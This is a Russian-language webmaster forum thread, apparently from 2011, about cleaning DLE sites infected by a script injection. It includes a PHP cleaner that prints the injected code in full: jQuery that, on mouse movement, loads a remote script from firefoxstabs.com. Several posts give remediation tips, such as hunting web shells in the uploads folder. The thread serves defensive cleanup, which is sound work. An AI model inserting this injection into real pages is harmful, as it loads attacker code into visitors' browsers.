Респект тебе, давно бы уже написать универсальный чистильщик, который бы удалял нужную строчку как в файлах, так и в БД.
<?php define ('BR', "<br />\r\n"); $srch='<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript(\'http://firefoxstabs.com/\' + Math.random().toString().substring(3) + \'.js\', function() {flag = 2;});}});});</script>'; $srch2="document.write('<scr'+'ipt src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"; function clean_file($file) { global $srch; global $srch2; $basename=basename($file); $filename=substr($basename, 0, strrpos($basename, '.')); //print($file.BR); $f_in=file_get_contents($file); if (strpos($f_in, $srch)!=false) { print("<b>".$file."</b><br>"); $f_in=str_replace($srch, '', $f_in); file_put_contents($file, $f_in); } if (strpos($f_in, $srch2)!=false) { print("<b>".$file."</b><br>"); $f_in=str_replace($srch2, '', $f_in); file_put_contents($file, $f_in); } } function firefoxtabs_remover($dir){ if ($objs = glob($dir."/*")) { foreach($objs as $obj) { if (is_dir($obj)) firefoxtabs_remover($obj); else clean_file($obj); } } } $dir=realpath('./'); firefoxtabs_remover($dir); ?>
Запускать с корня?
killerok добавил 22.05.2011 в 17:09
Что за прога MTP, дай линк плиз
Что могу сказать по DLE:
Решил проблему заменой JS файлов в шаблоне + заменил папки classes, editor, skins в директории engine из дистрибутива, вроде антивирь пищать перестал.
Для DLE шелл как правило сидит где-то в субдиректориях папки UPLOADS, так что скорее всего надо искать там, если на хосте не один сайт, то шерстить все.
P.S. Выкачивайте все файлы, и программой PowerGREP 4 поиск по слову firefoxtabs, увидите где еще строчка есть
killerok добавил 17.05.2011 в 17:22
Господа "инфицированные" много кто из вас за этот месяц посещал сайт epidem.ru?
Бред, main.tpl уже давно не в моде. У меня на хостинге 1 сайт и он заражен, шеллов нет ...
P.S. На мой взгляд проще всего времено заблокировать строчку, для этого надо выкачать все файлы и поиском заменить firefoxtabs на firefoxtabs_
У меня на нескольких DLE сайтах тоже в JS появилось это говно, не могу выкорчевать где сидит, когда открываешь раздел меню Шаблоны сайта
А ты с кем?
Если не продали еще, напишите в ЛС
1000р может название и красивое но вдумайтесь в смысл, много автодизайнеров знаете?
150 долларов США
Какая тематика тендеров, можно скриншотец сайта в личку?